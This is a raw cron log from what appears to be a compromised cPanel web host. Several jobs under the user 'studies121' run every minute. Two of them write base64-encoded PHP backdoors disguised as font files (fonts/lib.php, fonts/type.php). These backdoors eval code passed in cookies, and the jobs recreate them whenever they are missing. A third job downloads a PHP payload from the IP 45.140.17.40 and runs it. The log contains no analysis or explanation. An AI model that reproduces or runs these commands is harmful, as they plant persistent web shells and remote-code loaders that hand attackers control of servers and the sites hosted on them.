Sep  7 17:06:01 ip-184-168-122-23 CROND[2249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:06:01 ip-184-168-122-23 CROND[2252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:06:01 ip-184-168-122-23 CROND[2250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:07:01 ip-184-168-122-23 CROND[2368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:07:01 ip-184-168-122-23 CROND[2371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:07:01 ip-184-168-122-23 CROND[2370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:07:01 ip-184-168-122-23 CROND[2369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:08:01 ip-184-168-122-23 CROND[2460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:08:01 ip-184-168-122-23 CROND[2461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:08:01 ip-184-168-122-23 CROND[2462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:08:01 ip-184-168-122-23 CROND[2463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:08:01 ip-184-168-122-23 CROND[2464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:09:01 ip-184-168-122-23 CROND[2557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:09:01 ip-184-168-122-23 CROND[2560]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 17:09:01 ip-184-168-122-23 CROND[2558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:09:01 ip-184-168-122-23 CROND[2559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:09:01 ip-184-168-122-23 CROND[2561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:10:02 ip-184-168-122-23 CROND[2693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:10:02 ip-184-168-122-23 CROND[2694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:10:02 ip-184-168-122-23 CROND[2696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:10:02 ip-184-168-122-23 CROND[2702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:10:02 ip-184-168-122-23 CROND[2701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:10:02 ip-184-168-122-23 CROND[2700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:10:02 ip-184-168-122-23 CROND[2697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:10:02 ip-184-168-122-23 CROND[2708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:11:01 ip-184-168-122-23 CROND[2816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:11:01 ip-184-168-122-23 CROND[2819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:11:01 ip-184-168-122-23 CROND[2818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:11:01 ip-184-168-122-23 CROND[2817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:12:01 ip-184-168-122-23 CROND[2989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:12:01 ip-184-168-122-23 CROND[2990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:12:01 ip-184-168-122-23 CROND[2993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:12:01 ip-184-168-122-23 CROND[2991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:12:01 ip-184-168-122-23 CROND[2992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:13:01 ip-184-168-122-23 CROND[3083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:13:01 ip-184-168-122-23 CROND[3086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:13:01 ip-184-168-122-23 CROND[3084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:13:01 ip-184-168-122-23 CROND[3085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:14:01 ip-184-168-122-23 CROND[3172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:14:01 ip-184-168-122-23 CROND[3173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:14:01 ip-184-168-122-23 CROND[3177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:14:01 ip-184-168-122-23 CROND[3174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:14:01 ip-184-168-122-23 CROND[3175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:15:01 ip-184-168-122-23 CROND[3276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:15:01 ip-184-168-122-23 CROND[3278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:15:01 ip-184-168-122-23 CROND[3280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:15:01 ip-184-168-122-23 CROND[3284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:15:01 ip-184-168-122-23 CROND[3283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:15:01 ip-184-168-122-23 CROND[3285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:16:01 ip-184-168-122-23 CROND[3372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:16:01 ip-184-168-122-23 CROND[3374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:16:01 ip-184-168-122-23 CROND[3375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:16:02 ip-184-168-122-23 CROND[3378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:16:02 ip-184-168-122-23 CROND[3379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:16:02 ip-184-168-122-23 CROND[3376]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:17:01 ip-184-168-122-23 CROND[3464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:17:01 ip-184-168-122-23 CROND[3465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:17:01 ip-184-168-122-23 CROND[3467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:17:01 ip-184-168-122-23 CROND[3466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:18:01 ip-184-168-122-23 CROND[3562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:18:01 ip-184-168-122-23 CROND[3561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
